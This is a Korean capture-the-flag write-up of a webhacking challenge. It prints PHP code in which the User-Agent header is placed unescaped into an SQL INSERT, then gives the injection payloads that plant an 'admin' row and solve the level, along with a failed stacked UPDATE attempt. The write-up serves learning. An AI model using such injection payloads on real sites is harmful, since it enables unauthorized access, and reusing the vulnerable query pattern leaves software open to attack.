Write-Up
<?php
$agent=trim(getenv("HTTP_USER_AGENT"));
$ip=$_SERVER['REMOTE_ADDR'];
if(preg_match("/from/i",$agent)){
echo("<br>Access Denied!<br><br>");
echo(htmlspecialchars($agent));
exit();
}
$db = dbconnect();
$count_ck = mysqli_fetch_array(mysqli_query($db,"select count(id) from chall8"));
if($count_ck[0] >= 70){ mysqli_query($db,"delete from chall8"); }
$result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
$ck = mysqli_fetch_array($result);
if($ck){
echo "hi <b>".htmlentities($ck[0])."</b><p>";
if($ck[0]=="admin"){
mysqli_query($db,"delete from chall8");
solve(8);
}
}
if(!$ck){
$q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
echo("<br><br>done! ({$count_ck[0]}/70)");
}
?>
위는 문제의 php 코드인데, 코드가 길어 다소 복잡해 보였지만, "HTTP_USER_AGENT" 헤더를 이용해 exploit을 진행해야겠다는 것은 금방 알아차릴 수 있었다.
$agent=trim(getenv("HTTP_USER_AGENT"))
$agent 변수에 초기화되는 값은 HTTP_USER_AGENT 헤더 ( 사이트 접속한 사용자 환경 ) 의 환경 변수 값이다.
if(preg_match("/from/i",$agent))
$agent 변수 값의 내용에 'from' 이 들어가 있다면, Access 가 거부된다.
$count_ck = mysqli_fetch_array(mysqli_query($db,"select count(id) from chall8"));
if($count_ck[0] >= 70){ mysqli_query($db,"delete from chall8"); }
id 컬럼의 개수를 구해 $count_ck 변수에 할당하고, 해당 값이 70개를 초과한다면, 해당 테이블을 삭제한다.
$result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
$ck = mysqli_fetch_array($result);
$_SERVER ['HTTP_USER_AGENT']는 사이트에 접속한 사용자 환경을 나타낸다. 거기에 addslashes() 함수를 적용해 query를 구성한다. $ck는 true가 될 수도, false가 될 수도 있다.
if($ck){
echo "hi <b>".htmlentities($ck[0])."</b><p>";
if($ck[0]=="admin"){
mysqli_query($db,"delete from chall8");
solve(8);
}
}
$ck 값이 true 라면, 해당 if 문이 실행되고, $ck[0] 값이 admin 일 시, 문제를 해결할 수 있다.
if(!$ck){
$q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
echo("<br><br>done! ({$count_ck[0]}/70)");
}
$ck 가 false 일 경우 수행되는 구문이다. insert into 구문이 눈에 띈다. 테이블에 값을 추가하는 구문이다. 해당 구문이 올바르게 실행될 시 done! 메시지가 브라우저에 출력되고, 그렇지 않을 시 query error를 발생시킨다.
해당 php 코드에 대한 해석이 끝났으니, 문제를 해결해보도록 한다.
insert into를 이용해 내가 입력한 값이 테이블에 추가되도록 해보자!
User-Agent: 24','[my-ip]','randmom');#
위와 같이 User-Agent 헤더에 payload를 입력 후 request 해주었다. 그럼 $ck 가 false 가 되어,
insert into chall8(agent,ip,id) values('24', '[My-IP]', 'randmom');#', '{$ip}', 'guest')와 같은 query 형태가 완성되어 테이블에 insert 가 성공적으로 수행될 것이다.
User-Agent: 24
위와 같이 요청하면, hi randmom이 페이지에 출력된다.
User-Agent: 34','[my-ip]','admin');#
이번에는 위와 같이 request를 보내도록 한다.
User-Agent: 34
위와 같이 요청 시, 문제를 해결할 수 있다.
$result = select id from chall8 where agent='34'와 같이 요청되고, agent 가 34 일 시, id = admin 이므로, $ck 가 true 임과 동시에 $ck [0]의 값이 admin이 되기 때문이다.
원래 UPDATE 구문을 사용하고자 했는데, query error로 실패했다. ( 구지 사용할 필요는 없지만, 처음에 코드를 잘못 이해했기에 사용하고자 했었다. ) 59, '[나의 IP]', 'admin');UPDATE chall8 SET agent ='0', ip='[나의 IP]', id='admin' WHERE id=' randmom';#
실습 ( INSERT INTO 와 UPDATE 구문에 대한 실습 예제이다. )
실습에 사용된 코드
INSERT INTO people(person_id,person_name,age,birthday) values ('0','pppname',100,"2020-01-01");
UPDATE people SET person_id =1, person_name='iiiname',age=20,birthday='2021-01-12' WHERE person_id=0;
INSERT INTO people(person_id,person_name,age,birthday) values ('2','pppname',100,"2020-01-01");UPDATE people SET person_id =0, person_name='randomname',age=50,birthday='1908-01-12' WHERE person_id=1;
참고
https://watchout31337.tistory.com/95